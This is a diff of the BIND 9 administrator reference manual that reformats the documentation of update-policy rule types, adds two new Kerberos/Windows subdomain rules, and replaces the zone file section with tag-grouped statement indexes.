+   ``ms-selfsub``, ``ms-subdomain``, ``ms-subdomain-self-rhs``, ``krb5-self``,
+   ``krb5-selfsub``, ``krb5-subdomain``,  ``krb5-subdomain-self-rhs``,
+   ``tcp-self``, ``6to4-self``, and ``external``.
 
-``name``
-    With exact-match semantics, this rule matches when the name being updated is identical to the contents of the ``name`` field.
+   ``name``
+       With exact-match semantics, this rule matches when the name being updated is identical to the contents of the ``name`` field.
 
-``subdomain``
-    This rule matches when the name being updated is a subdomain of, or identical to, the contents of the ``name`` field.
+   ``subdomain``
+       This rule matches when the name being updated is a subdomain of, or identical to, the contents of the ``name`` field.
 
-``zonesub``
-    This rule is similar to subdomain, except that it matches when the name being updated is a subdomain of the zone in which the ``update-policy`` statement appears. This obviates the need to type the zone name twice, and enables the use of a standard ``update-policy`` statement in multiple zones without modification.
-    When this rule is used, the ``name`` field is omitted.
+   ``zonesub``
+       This rule is similar to subdomain, except that it matches when the name being updated is a subdomain of the zone in which the :any:`update-policy` statement appears. This obviates the need to type the zone name twice, and enables the use of a standard :any:`update-policy` statement in multiple zones without modification.
+       When this rule is used, the ``name`` field is omitted.
 
-``wildcard``
-    The ``name`` field is subject to DNS wildcard expansion, and this rule matches when the name being updated is a valid expansion of the wildcard.
+   ``wildcard``
+       The ``name`` field is subject to DNS wildcard expansion, and this rule matches when the name being updated is a valid expansion of the wildcard.
 
-``self``
-    This rule matches when the name of the record being updated matches the contents of the ``identity`` field. The ``name`` field is ignored. To avoid confusion, it is recommended that this field be set to the same value as the ``identity`` field or to "."
-    The ``self`` rule type is most useful when allowing one key per name to update, where the key has the same name as the record to be updated. In this case, the ``identity`` field can be specified as ``*`` (asterisk).
+   ``self``
+       This rule matches when the name of the record being updated matches the contents of the ``identity`` field. The ``name`` field is ignored. To avoid confusion, it is recommended that this field be set to the same value as the ``identity`` field or to "."
+       The ``self`` rule type is most useful when allowing one key per name to update, where the key has the same name as the record to be updated. In this case, the ``identity`` field can be specified as ``*`` (asterisk).
 
-``selfsub``
-    This rule is similar to ``self``, except that subdomains of ``self`` can also be updated.
+   ``selfsub``
+       This rule is similar to ``self``, except that subdomains of ``self`` can also be updated.
 
-``selfwild``
-    This rule is similar to ``self``, except that only subdomains of ``self`` can be updated.
+   ``selfwild``
+       This rule is similar to ``self``, except that only subdomains of ``self`` can be updated.
 
-``ms-self``
-    When a client sends an UPDATE using a Windows machine principal (for example, ``machine$@REALM``), this rule allows records with the absolute name of ``machine.REALM`` to be updated.
+   ``ms-self``
+       When a client sends an UPDATE using a Windows machine principal (for example, ``machine$@REALM``), this rule allows records with the absolute name of ``machine.REALM`` to be updated.
 
-    The realm to be matched is specified in the ``identity`` field.
+       The realm to be matched is specified in the ``identity`` field.
 
-    The ``name`` field has no effect on this rule; it should be set to "." as a placeholder.
+       The ``name`` field has no effect on this rule; it should be set to "." as a placeholder.
 
-    For example, ``grant EXAMPLE.COM ms-self . A AAAA`` allows any machine with a valid principal in the realm ``EXAMPLE.COM`` to update its own address records.
+       For example, ``grant EXAMPLE.COM ms-self . A AAAA`` allows any machine with a valid principal in the realm ``EXAMPLE.COM`` to update its own address records.
 
-``ms-selfsub``
-    This is similar to ``ms-self``, except it also allows updates to any subdomain of the name specified in the Windows machine principal, not just to the name itself.
+   ``ms-selfsub``
+       This is similar to ``ms-self``, except it also allows updates to any subdomain of the name specified in the Windows machine principal, not just to the name itself.
 
-``ms-subdomain``
-    When a client sends an UPDATE using a Windows machine principal (for example, ``machine$@REALM``), this rule allows any machine in the specified realm to update any record in the zone or in a specified subdomain of the zone.
+   ``ms-subdomain``
+       When a client sends an UPDATE using a Windows machine principal (for example, ``machine$@REALM``), this rule allows any machine in the specified realm to update any record in the zone or in a specified subdomain of the zone.
 
-    The realm to be matched is specified in the ``identity`` field.
+       The realm to be matched is specified in the ``identity`` field.
 
-    The ``name`` field specifies the subdomain that may be updated. If set to "." or any other name at or above the zone apex, any name in the zone can be updated.
+       The ``name`` field specifies the subdomain that may be updated. If set to "." or any other name at or above the zone apex, any name in the zone can be updated.
 
-    For example, if ``update-policy`` for the zone "example.com" includes ``grant EXAMPLE.COM ms-subdomain hosts.example.com. AA AAAA``, any machine with a valid principal in the realm ``EXAMPLE.COM`` is able to update address records at or below ``hosts.example.com``.
+       For example, if :any:`update-policy` for the zone "example.com" includes ``grant EXAMPLE.COM ms-subdomain hosts.example.com. AA AAAA``, any machine with a valid principal in the realm ``EXAMPLE.COM`` is able to update address records at or below ``hosts.example.com``.
 
-``krb5-self``
-    When a client sends an UPDATE using a Kerberos machine principal (for example, ``host/machine@REALM``), this rule allows records with the absolute name of ``machine`` to be updated, provided it has been authenticated by REALM. This is similar but not identical to ``ms-self``, due to the ``machine`` part of the Kerberos principal being an absolute name instead of an unqualified name.
+   ``ms-subdomain-self-rhs``
+       This rule is similar to ``ms-subdomain``, with an additional
+       restriction that PTR and SRV target names must match the name of the
+       machine identified in the principal.
 
-    The realm to be matched is specified in the ``identity`` field.
+   ``krb5-self``
+       When a client sends an UPDATE using a Kerberos machine principal (for example, ``host/machine@REALM``), this rule allows records with the absolute name of ``machine`` to be updated, provided it has been authenticated by REALM. This is similar but not identical to ``ms-self``, due to the ``machine`` part of the Kerberos principal being an absolute name instead of an unqualified name.
 
-    The ``name`` field has no effect on this rule; it should be set to "." as a placeholder.
+       The realm to be matched is specified in the ``identity`` field.
 
-    For example, ``grant EXAMPLE.COM krb5-self . A AAAA`` allows any machine with a valid principal in the realm ``EXAMPLE.COM`` to update its own address records.
+       The ``name`` field has no effect on this rule; it should be set to "." as a placeholder.
 
-``krb5-selfsub``
-    This is similar to ``krb5-self``, except it also allows updates to any subdomain of the name specified in the ``machine`` part of the Kerberos principal, not just to the name itself.
+       For example, ``grant EXAMPLE.COM krb5-self . A AAAA`` allows any machine with a valid principal in the realm ``EXAMPLE.COM`` to update its own address records.
 
-``krb5-subdomain``
-    This rule is identical to ``ms-subdomain``, except that it works with Kerberos machine principals (i.e., ``host/machine@REALM``) rather than Windows machine principals.
+   ``krb5-selfsub``
+       This is similar to ``krb5-self``, except it also allows updates to any subdomain of the name specified in the ``machine`` part of the Kerberos principal, not just to the name itself.
 
-``tcp-self``
-    This rule allows updates that have been sent via TCP and for which the standard mapping from the client's IP address into the ``in-addr.arpa`` and ``ip6.arpa`` namespaces matches the name to be updated. The ``identity`` field must match that name. The ``name`` field should be set to ".". Note that, since identity is based on the client's IP address, it is not necessary for update request messages to be signed.
+   ``krb5-subdomain``
+       This rule is identical to ``ms-subdomain``, except that it works with Kerberos machine principals (i.e., ``host/machine@REALM``) rather than Windows machine principals.
 
-    .. note::
-        It is theoretically possible to spoof these TCP sessions.
+   ``krb5-subdomain-self-rhs``
+       This rule is similar to ``krb5-subdomain``, with an additional
+       restriction that PTR and SRV target names must match the name of the
+       machine identified in the principal.
 
-``6to4-self``
-    This allows the name matching a 6to4 IPv6 prefix, as specified in :rfc:`3056`, to be updated by any TCP connection from either the 6to4 network or from the corresponding IPv4 address. This is intended to allow NS or DNAME RRsets to be added to the ``ip6.arpa`` reverse tree.
+   ``tcp-self``
+       This rule allows updates that have been sent via TCP and for which the standard mapping from the client's IP address into the ``in-addr.arpa`` and ``ip6.arpa`` namespaces matches the name to be updated. The ``identity`` field must match that name. The ``name`` field should be set to ".". Note that, since identity is based on the client's IP address, it is not necessary for update request messages to be signed.
 
-    The ``identity`` field must match the 6to4 prefix in ``ip6.arpa``. The ``name`` field should be set to ".". Note that, since identity is based on the client's IP address, it is not necessary for update request messages to be signed.
+       .. note::
+           It is theoretically possible to spoof these TCP sessions.
 
-    In addition, if specified for an ``ip6.arpa`` name outside of the ``2.0.0.2.ip6.arpa`` namespace, the corresponding /48 reverse name can be updated. For example, TCP/IPv6 connections from 2001:DB8:ED0C::/48 can update records at ``C.0.D.E.8.B.D.0.1.0.0.2.ip6.arpa``.
+   ``6to4-self``
+       This allows the name matching a 6to4 IPv6 prefix, as specified in :rfc:`3056`, to be updated by any TCP connection from either the 6to4 network or from the corresponding IPv4 address. This is intended to allow NS or DNAME RRsets to be added to the ``ip6.arpa`` reverse tree.
 
-    .. note::
-        It is theoretically possible to spoof these TCP sessions.
+       The ``identity`` field must match the 6to4 prefix in ``ip6.arpa``. The ``name`` field should be set to ".". Note that, since identity is based on the client's IP address, it is not necessary for update request messages to be signed.
 
-``external``
-    This rule allows ``named`` to defer the decision of whether to allow a given update to an external daemon.
+       In addition, if specified for an ``ip6.arpa`` name outside of the ``2.0.0.2.ip6.arpa`` namespace, the corresponding /48 reverse name can be updated. For example, TCP/IPv6 connections from 2001:DB8:ED0C::/48 can update records at ``C.0.D.E.8.B.D.0.1.0.0.2.ip6.arpa``.
 
-    The method of communicating with the daemon is specified in the ``identity`` field, the format of which is "``local:``\ path", where "path" is the location of a Unix-domain socket. (Currently, "local" is the only supported mechanism.)
+       .. note::
+           It is theoretically possible to spoof these TCP sessions.
 
-    Requests to the external daemon are sent over the Unix-domain socket as datagrams with the following format:
+   ``external``
+       This rule allows :iscman:`named` to defer the decision of whether to allow a given update to an external daemon.
 
-    ::
+       The method of communicating with the daemon is specified in the ``identity`` field, the format of which is "``local:``\ path", where "path" is the location of a Unix-domain socket. (Currently, "local" is the only supported mechanism.)
+
+       Requests to the external daemon are sent over the Unix-domain socket as datagrams with the following format:
+
+       ::
 
-        Protocol version number (4 bytes, network byte order, currently 1)
-        Request length (4 bytes, network byte order)
-        Signer (null-terminated string)
-        Name (null-terminated string)
-        TCP source address (null-terminated string)
-        Rdata type (null-terminated string)
-        Key (null-terminated string)
-        TKEY token length (4 bytes, network byte order)
-        TKEY token (remainder of packet)
+           Protocol version number (4 bytes, network byte order, currently 1)
+           Request length (4 bytes, network byte order)
+           Signer (null-terminated string)
+           Name (null-terminated string)
+           TCP source address (null-terminated string)
+           Rdata type (null-terminated string)
+           Key (null-terminated string)
+           TKEY token length (4 bytes, network byte order)
+           TKEY token (remainder of packet)
 
-    The daemon replies with a four-byte value in network byte order, containing either 0 or 1; 0 indicates that the specified update is not permitted, and 1 indicates that it is.
+       The daemon replies with a four-byte value in network byte order, containing either 0 or 1; 0 indicates that the specified update is not permitted, and 1 indicates that it is.
+
+       .. warning:: The external daemon must not delay communication. This policy is evaluated synchronously; any wait period negatively affects :iscman:`named` performance.
 
 .. _multiple_views:
 
@@ -5980,7 +7362,7 @@ When multiple views are in use, a zone may be referenced by more than
 one of them. Often, the views contain different zones with the same
 name, allowing different clients to receive different answers for the
 same queries. At times, however, it is desirable for multiple views to
-contain identical zones. The ``in-view`` zone option provides an
+contain identical zones. The :any:`in-view` zone option provides an
 efficient way to do this; it allows a view to reference a zone that was
 defined in a previously configured view. For example:
 
@@ -6003,11 +7385,11 @@ defined in a previously configured view. For example:
        };
    };
 
-An ``in-view`` option cannot refer to a view that is configured later in
+An :any:`in-view` option cannot refer to a view that is configured later in
 the configuration file.
 
-A ``zone`` statement which uses the ``in-view`` option may not use any
-other options, with the exception of ``forward`` and ``forwarders``.
+A :any:`zone` statement which uses the :any:`in-view` option may not use any
+other options, with the exception of :any:`forward` and :any:`forwarders`.
 (These options control the behavior of the containing view, rather than
 change the zone object itself.)
 
@@ -6016,453 +7398,115 @@ configuration details of the zone, are all set in the view the referenced
 zone is defined in. Be careful to ensure that ACLs are wide
 enough for all views referencing the zone.
 
-An ``in-view`` zone cannot be used as a response policy zone.
-
-An ``in-view`` zone is not intended to reference a ``forward`` zone.
-
-.. _zone_file:
-
-Zone File
----------
+An :any:`in-view` zone cannot be used as a response policy zone.
 
-.. _types_of_resource_records_and_when_to_use_them:
+An :any:`in-view` zone is not intended to reference a :any:`forward` zone.
 
-Types of Resource Records and When to Use Them
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Statements
+----------
+BIND 9 supports many hundreds of statements; finding the right statement to
+control a specific behavior or solve a particular problem can be a daunting
+task. To simplify the task for users, all statements have been assigned one or more tags.
+Tags are designed to group together statements that have broadly similar
+functionality; thus, for example, all statements that control the handling of
+queries or of zone transfers are respectively tagged under **query** and **transfer**.
 
-This section, largely borrowed from :rfc:`1034`, describes the concept of a
-Resource Record (RR) and explains when each type is used. Since the
-publication of :rfc:`1034`, several new RRs have been identified and
-implemented in the DNS. These are also included.
+:ref:`dnssec_tag_statements` are those that relate to or control DNSSEC.
 
-Resource Records
-^^^^^^^^^^^^^^^^
+:ref:`logging_tag_statements` relate to or control logging, and typically only
+appear in a logging block.
 
-A domain name identifies a node. Each node has a set of resource
-information, which may be empty. The set of resource information
-associated with a particular name is composed of separate RRs. The order
-of RRs in a set is not significant and need not be preserved by name
-servers, resolvers, or other parts of the DNS. However, sorting of
-multiple RRs is permitted for optimization purposes: for example, to
-specify that a particular nearby server be tried first. See
-:ref:`the_sortlist_statement` and :ref:`rrset_ordering`.
+:ref:`query_tag_statements` relate to or control queries.
 
-The components of a Resource Record are:
+:ref:`security_tag_statements` relate to or control security features.
 
-owner name
-    The domain name where the RR is found.
+:ref:`server_tag_statements` relate to or control server behavior, and typically
+only appear in a server block.
 
-type
-    An encoded 16-bit value that specifies the type of the resource record.
+:ref:`transfer_tag_statements` relate to or control zone transfers.
 
-TTL
-    The time-to-live of the RR. This field is a 32-bit integer in units of seconds, and is primarily used by resolvers when they cache RRs. The TTL describes how long a RR can be cached before it should be discarded.
+:ref:`view_tag_statements` relate to or control view selection criteria, and
+typically only appear in a view block.
 
-class
-    An encoded 16-bit value that identifies a protocol family or an instance of a protocol.
+:ref:`zone_tag_statements` relate to or control zone behavior, and typically
+only appear in a zone block.
 
-RDATA
-    The resource data. The format of the data is type- and sometimes class-specific.
+:ref:`deprecated_tag_statements` are those that are now deprecated, but are
+included here for historical reference.
 
-For a complete list of *types* of valid RRs, including those that have been obsoleted, please refer to https://en.wikipedia.org/wiki/List_of_DNS_record_types.
+The following table lists all statements permissible in :file:`named.conf`, with their
+associated tags; the next section groups the statements by tag. Please note that these
+sections are a work in progress.
 
-The following *classes* of resource records are currently valid in the
-DNS:
+.. namedconf:statementlist::
 
-IN
-    The Internet.
+Statements by Tag
+-----------------
+These tables group the various statements permissible in :file:`named.conf` by
+their corresponding tag.
 
-CH
-    Chaosnet, a LAN protocol created at MIT in the mid-1970s. It was rarely used for its historical purpose, but was reused for BIND's built-in server information zones, e.g., ``version.bind``.
+.. _dnssec_tag_statements:
 
-HS
-    Hesiod, an information service developed by MIT's Project Athena. It was used to share information about various systems databases, such as users, groups, printers, etc.
+DNSSEC Tag Statements
+~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statementlist::
+   :filter_tags: dnssec
 
-The owner name is often implicit, rather than forming an integral part
-of the RR. For example, many name servers internally form tree or hash
-structures for the name space, and chain RRs off nodes. The remaining RR
-parts are the fixed header (type, class, TTL), which is consistent for
-all RRs, and a variable part (RDATA) that fits the needs of the resource
-being described.
+.. _logging_tag_statements:
 
-The TTL field is a time limit on how long an RR can be
-kept in a cache. This limit does not apply to authoritative data in
-zones; that also times out, but follows the refreshing policies for the
-zone. The TTL is assigned by the administrator for the zone where the
-data originates. While short TTLs can be used to minimize caching, and a
-zero TTL prohibits caching, the realities of Internet performance
-suggest that these times should be on the order of days for the typical
-host. If a change is anticipated, the TTL can be reduced prior to
-the change to minimize inconsistency, and then
-increased back to its former value following the change.
+Logging Tag Statements
+~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statementlist::
+   :filter_tags: logging
 
-The data in the RDATA section of RRs is carried as a combination of
-binary strings and domain names. The domain names are frequently used as
-"pointers" to other data in the DNS.
+.. _query_tag_statements:
 
-.. _rr_text:
+Query Tag Statements
+~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statementlist::
+   :filter_tags: query
 
-Textual Expression of RRs
-^^^^^^^^^^^^^^^^^^^^^^^^^
+.. _security_tag_statements:
 
-RRs are represented in binary form in the packets of the DNS protocol,
-and are usually represented in highly encoded form when stored in a name
-server or resolver. In the examples provided in :rfc:`1034`, a style
-similar to that used in primary files was employed in order to show the
-contents of RRs. In this format, most RRs are shown on a single line,
-although continuation lines are possible using parentheses.
-
-The start of the line gives the owner of the RR. If a line begins with a
-blank, then the owner is assumed to be the same as that of the previous
-RR. Blank lines are often included for readability.
-
-Following the owner are listed the TTL, type, and class of the RR. Class
-and type use the mnemonics defined above, and TTL is an integer before
-the type field. To avoid ambiguity in parsing, type and class
-mnemonics are disjoint, TTLs are integers, and the type mnemonic is
-always last. The IN class and TTL values are often omitted from examples
-in the interest of clarity.
-
-The resource data or RDATA section of the RR is given using knowledge
-of the typical representation for the data.
-
-For example, the RRs carried in a message might be shown as:
-
- +---------------------+---------------+--------------------------------+
- | ``ISI.EDU.``        | ``MX``        | ``10 VENERA.ISI.EDU.``         |
- +---------------------+---------------+--------------------------------+
- |                     | ``MX``        | ``10 VAXA.ISI.EDU``            |
- +---------------------+---------------+--------------------------------+
- | ``VENERA.ISI.EDU``  | ``A``         | ``128.9.0.32``                 |
- +---------------------+---------------+--------------------------------+
- |                     | ``A``         | ``10.1.0.52``                  |
- +---------------------+---------------+--------------------------------+
- | ``VAXA.ISI.EDU``    | ``A``         | ``10.2.0.27``                  |
- +---------------------+---------------+--------------------------------+
- |                     | ``A``         | ``128.9.0.33``                 |
- +---------------------+---------------+--------------------------------+
-
-The MX RRs have an RDATA section which consists of a 16-bit number
-followed by a domain name. The address RRs use a standard IP address
-format to contain a 32-bit Internet address.
-
-The above example shows six RRs, with two RRs at each of three domain
-names.
-
-Here is another possible example:
-
- +----------------------+---------------+-------------------------------+
- | ``XX.LCS.MIT.EDU.``  | ``IN A``      | ``10.0.0.44``                 |
- +----------------------+---------------+-------------------------------+
- |                      | ``CH A``      | ``MIT.EDU. 2420``             |
- +----------------------+---------------+-------------------------------+
-
-This shows two addresses for ``XX.LCS.MIT.EDU``, each of a
-different class.
-
-.. _mx_records:
-
-Discussion of MX Records
-~~~~~~~~~~~~~~~~~~~~~~~~
-
-As described above, domain servers store information as a series of
-resource records, each of which contains a particular piece of
-information about a given domain name (which is usually, but not always,
-a host). The simplest way to think of an RR is as a typed pair of data, a
-domain name matched with a relevant datum and stored with some
-additional type information, to help systems determine when the RR is
-relevant.
-
-MX records are used to control delivery of email. The data specified in
-the record is a priority and a domain name. The priority controls the
-order in which email delivery is attempted, with the lowest number
-first. If two priorities are the same, a server is chosen randomly. If
-no servers at a given priority are responding, the mail transport agent
-falls back to the next largest priority. Priority numbers do not
-have any absolute meaning; they are relevant only respective to other
-MX records for that domain name. The domain name given is the machine to
-which the mail is delivered. It *must* have an associated address
-record (A or AAAA); CNAME is not sufficient.
-
-For a given domain, if there is both a CNAME record and an MX record,
-the MX record is in error and is ignored. Instead, the mail is
-delivered to the server specified in the MX record pointed to by the
-CNAME. For example:
-
- +------------------------+--------+--------+--------------+------------------------+
- | ``example.com.``       | ``IN`` | ``MX`` | ``10``       | ``mail.example.com.``  |
- +------------------------+--------+--------+--------------+------------------------+
- |                        | ``IN`` | ``MX`` | ``10``       | ``mail2.example.com.`` |
- +------------------------+--------+--------+--------------+------------------------+
- |                        | ``IN`` | ``MX`` | ``20``       | ``mail.backup.org.``   |
- +------------------------+--------+--------+--------------+------------------------+
- | ``mail.example.com.``  | ``IN`` | ``A``  | ``10.0.0.1`` |                        |
- +------------------------+--------+--------+--------------+------------------------+
- | ``mail2.example.com.`` | ``IN`` | ``A``  | ``10.0.0.2`` |                        |
- +------------------------+--------+--------+--------------+------------------------+
-
-Mail delivery is attempted to ``mail.example.com`` and
-``mail2.example.com`` (in any order); if neither of those succeeds,
-delivery to ``mail.backup.org`` is attempted.
-
-.. _Setting_TTLs:
-
-Setting TTLs
-~~~~~~~~~~~~
-
-The time-to-live (TTL) of the RR field is a 32-bit integer represented in
-units of seconds, and is primarily used by resolvers when they cache
-RRs. The TTL describes how long an RR can be cached before it should be
-discarded. The following three types of TTLs are currently used in a zone
-file.
-
-SOA
-    The last field in the SOA is the negative caching TTL. This controls how long other servers cache no-such-domain (NXDOMAIN) responses from this server.
-
-    The maximum time for negative caching is 3 hours (3h).
-
-$TTL
-    The $TTL directive at the top of the zone file (before the SOA) gives a default TTL for every RR without a specific TTL set.
-
-RR TTLs
-    Each RR can have a TTL as the second field in the RR, which controls how long other servers can cache it.
-
-All of these TTLs default to units of seconds, though units can be
-explicitly specified: for example, ``1h30m``.
-
-.. _ipv4_reverse:
-
-Inverse Mapping in IPv4
+Security Tag Statements
 ~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statementlist::
+   :filter_tags: security
 
-Reverse name resolution (that is, translation from IP address to name)
-is achieved by means of the ``in-addr.arpa`` domain and PTR records.
-Entries in the in-addr.arpa domain are made in least-to-most significant
-order, read left to right. This is the opposite order to the way IP
-addresses are usually written. Thus, a machine with an IP address of
-10.1.2.3 would have a corresponding in-addr.arpa name of
-3.2.1.10.in-addr.arpa. This name should have a PTR resource record whose
-data field is the name of the machine or, optionally, multiple PTR
-records if the machine has more than one name. For example, in the
-``example.com`` domain:
-
- +--------------+-------------------------------------------------------+
- | ``$ORIGIN``  | ``2.1.10.in-addr.arpa``                               |
- +--------------+-------------------------------------------------------+
- | ``3``        | ``IN PTR foo.example.com.``                           |
- +--------------+-------------------------------------------------------+
-
-.. note::
-
-   The ``$ORIGIN`` line in this example is only to provide context;
-   it does not necessarily appear in the actual
-   usage. It is only used here to indicate that the example is
-   relative to the listed origin.
-
-.. _zone_directives:
-
-Other Zone File Directives
-~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The DNS "master file" format was initially defined in :rfc:`1035` and has
-subsequently been extended. While the format itself is class-independent,
-all records in a zone file must be of the same class.
-
-Master file directives include ``$ORIGIN``, ``$INCLUDE``, and ``$TTL.``
-
-.. _atsign:
-
-The ``@`` (at-sign)
-^^^^^^^^^^^^^^^^^^^
-
-When used in the label (or name) field, the asperand or at-sign (@)
-symbol represents the current origin. At the start of the zone file, it
-is the <``zone_name``>, followed by a trailing dot (.).
-
-.. _origin_directive:
-
-The ``$ORIGIN`` Directive
-^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Syntax: ``$ORIGIN`` domain-name [comment]
-
-``$ORIGIN`` sets the domain name that is appended to any
-unqualified records. When a zone is first read, there is an implicit
-``$ORIGIN`` <``zone_name``>``.``; note the trailing dot. The
-current ``$ORIGIN`` is appended to the domain specified in the
-``$ORIGIN`` argument if it is not absolute.
-
-::
-
-   $ORIGIN example.com.
-   WWW     CNAME   MAIN-SERVER
-
-is equivalent to
-
-::
-
-   WWW.EXAMPLE.COM. CNAME MAIN-SERVER.EXAMPLE.COM.
-
-.. _include_directive:
-
-The ``$INCLUDE`` Directive
-^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Syntax: ``$INCLUDE`` filename [origin] [comment]
-
-This reads and processes the file ``filename`` as if it were included in the
-file at this point. The ``filename`` can be an absolute path, or a relative
-path. In the latter case it is read from ``named``'s working directory. If
-``origin`` is specified, the file is processed with ``$ORIGIN`` set to that
-value; otherwise, the current ``$ORIGIN`` is used.
-
-The origin and the current domain name revert to the values they had
-prior to the ``$INCLUDE`` once the file has been read.
-
-.. note::
-
-   :rfc:`1035` specifies that the current origin should be restored after
-   an ``$INCLUDE``, but it is silent on whether the current domain name
-   should also be restored. BIND 9 restores both of them. This could be
-   construed as a deviation from :rfc:`1035`, a feature, or both.
-
-.. _ttl_directive:
-
-The ``$TTL`` Directive
-^^^^^^^^^^^^^^^^^^^^^^
-
-Syntax: ``$TTL`` default-ttl [comment]
-
-This sets the default Time-To-Live (TTL) for subsequent records with undefined
-TTLs. Valid TTLs are of the range 0-2147483647 seconds.
-
-``$TTL`` is defined in :rfc:`2308`.
-
-.. _generate_directive:
-
-BIND Primary File Extension: the ``$GENERATE`` Directive
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Syntax: ``$GENERATE`` range lhs [ttl] [class] type rhs [comment]
-
-``$GENERATE`` is used to create a series of resource records that only
-differ from each other by an iterator. ``$GENERATE`` can be used to
-easily generate the sets of records required to support sub-/24 reverse
-delegations described in :rfc:`2317`.
-
-::
-
-   $ORIGIN 0.0.192.IN-ADDR.ARPA.
-   $GENERATE 1-2 @ NS SERVER$.EXAMPLE.
-   $GENERATE 1-127 $ CNAME $.0
-
-is equivalent to
-
-::
-
-   0.0.0.192.IN-ADDR.ARPA. NS SERVER1.EXAMPLE.
-   0.0.0.192.IN-ADDR.ARPA. NS SERVER2.EXAMPLE.
-   1.0.0.192.IN-ADDR.ARPA. CNAME 1.0.0.0.192.IN-ADDR.ARPA.
-   2.0.0.192.IN-ADDR.ARPA. CNAME 2.0.0.0.192.IN-ADDR.ARPA.
-   ...
-   127.0.0.192.IN-ADDR.ARPA. CNAME 127.0.0.0.192.IN-ADDR.ARPA.
-
-Both generate a set of A and MX records. Note the MX's right-hand side is a
-quoted string. The quotes are stripped when the right-hand side is
-processed.
-
-::
-
-   $ORIGIN EXAMPLE.
-   $GENERATE 1-127 HOST-$ A 1.2.3.$
-   $GENERATE 1-127 HOST-$ MX "0 ."
-
-is equivalent to
+.. _server_tag_statements:
 
-::
-
-   HOST-1.EXAMPLE.   A  1.2.3.1
-   HOST-1.EXAMPLE.   MX 0 .
-   HOST-2.EXAMPLE.   A  1.2.3.2
-   HOST-2.EXAMPLE.   MX 0 .
-   HOST-3.EXAMPLE.   A  1.2.3.3
-   HOST-3.EXAMPLE.   MX 0 .
-   ...
-   HOST-127.EXAMPLE. A  1.2.3.127
-   HOST-127.EXAMPLE. MX 0 .
-
-``range``
-    This can be one of two forms: start-stop or start-stop/step. If the first form is used, then step is set to 1. "start", "stop", and "step" must be positive integers between 0 and (2^31)-1. "start" must not be larger than "stop".
-
-``owner``
-    This describes the owner name of the resource records to be created. Any single ``$`` (dollar sign) symbols within the ``owner`` string are replaced by the iterator value. To get a ``$`` in the output, escape the ``$`` using a backslash ``\``, e.g., ``\$``. The ``$`` may optionally be followed by modifiers which change the offset from the iterator, field width, and base.
-
-    Modifiers are introduced by a ``{`` (left brace) immediately following the ``$``, as in  ``${offset[,width[,base]]}``. For example, ``${-20,3,d}`` subtracts 20 from the current value and prints the result as a decimal in a zero-padded field of width 3. Available output forms are decimal (``d``), octal (``o``), hexadecimal (``x`` or ``X`` for uppercase), and nibble (``n`` or ``N`` for uppercase).
-
-    The default modifier is ``${0,0,d}``. If the ``owner`` is not absolute, the current ``$ORIGIN`` is appended to the name.
-
-    In nibble mode, the value is treated as if it were a reversed hexadecimal string, with each hexadecimal digit as a separate label. The width field includes the label separator.
-
-    For compatibility with earlier versions, ``$$`` is still recognized as indicating a literal $ in the output.
+Server Tag Statements
+~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statementlist::
+   :filter_tags: server
 
-``ttl``
-    This specifies the time-to-live of the generated records. If not specified, this is inherited using the normal TTL inheritance rules.
+.. _transfer_tag_statements:
 
-    ``class`` and ``ttl`` can be entered in either order.
-
-``class``
-    This specifies the class of the generated records. This must match the zone class if it is specified.
-
-    ``class`` and ``ttl`` can be entered in either order.
+Transfer Tag Statements
+~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statementlist::
+   :filter_tags: transfer
 
-``type``
-    This can be any valid type.
+.. _view_tag_statements:
 
-``rdata``
-    This is a string containing the RDATA of the resource record to be created. It may be quoted if there are spaces in the string; the quotation marks do not appear in the generated record.
+View Tag Statements
+~~~~~~~~~~~~~~~~~~~
+.. namedconf:statementlist::
+   :filter_tags: view
 
-The ``$GENERATE`` directive is a BIND extension and not part of the
-standard zone file format.
+.. _zone_tag_statements:
 
-.. _zonefile_format:
+Zone Tag Statements
+~~~~~~~~~~~~~~~~~~~
+.. namedconf:statementlist::
+   :filter_tags: zone
 
-Additional File Formats
-~~~~~~~~~~~~~~~~~~~~~~~
+.. _deprecated_tag_statements:
 
-In addition to the standard text format, BIND 9 supports the ability
-to read or dump to zone files in other formats.
-
-The ``raw`` format is a binary representation of zone data in a manner
-similar to that used in zone transfers. Since it does not require
-parsing text, load time is significantly reduced.
-
-An even faster alternative is the ``map`` format, which is an image of a
-BIND 9 in-memory zone database; it can be loaded directly
-into memory via the ``mmap()`` function and the zone can begin serving
-queries almost immediately.
-
-For a primary server, a zone file in ``raw`` or ``map`` format is
-expected to be generated from a textual zone file by the
-``named-compilezone`` command. For a secondary server or a dynamic
-zone, the zone file is automatically generated when ``named`` dumps the zone contents
-after zone transfer or when applying prior updates, if one of these
-formats is specified by the ``masterfile-format`` option.
-
-If a zone file in a binary format needs manual modification, it first
-must be converted to a textual form by the ``named-compilezone``
-command. Make any necessary modifications to the text file, and
-then convert it to the binary form via the ``named-compilezone``
-command again.
-
-Note that ``map`` format is extremely architecture-specific. A ``map``
-file *cannot* be used on a system with different pointer size,
-endianness, or data alignment than the system on which it was generated,
-and should in general be used only inside a single system. While ``raw``
-format uses network byte order and avoids architecture-dependent data
-alignment so that it is as portable as possible, it is also primarily
-expected to be used inside the same single system. To export a zone file
-in either ``raw`` or ``map`` format, or make a portable backup of such a
-file, conversion to ``text`` format is recommended.
+Deprecated Tag Statements
+~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statementlist::
+   :filter_tags: deprecated
 
 .. _statistics:
 
@@ -6518,9 +7562,9 @@ Socket I/O Statistics
    Statistics counters for network-related events.
 
 A subset of Name Server Statistics is collected and shown per zone for
-which the server has the authority, when ``zone-statistics`` is set to
+which the server has the authority, when :any:`zone-statistics` is set to
 ``full`` (or ``yes``), for backward compatibility. See the description of
-``zone-statistics`` in :ref:`options` for further details.
+:any:`zone-statistics` in :namedconf:ref:`options` for further details.
 
 These statistics counters are shown with their zone and view names. The
 view name is omitted when the server is not configured with explicit
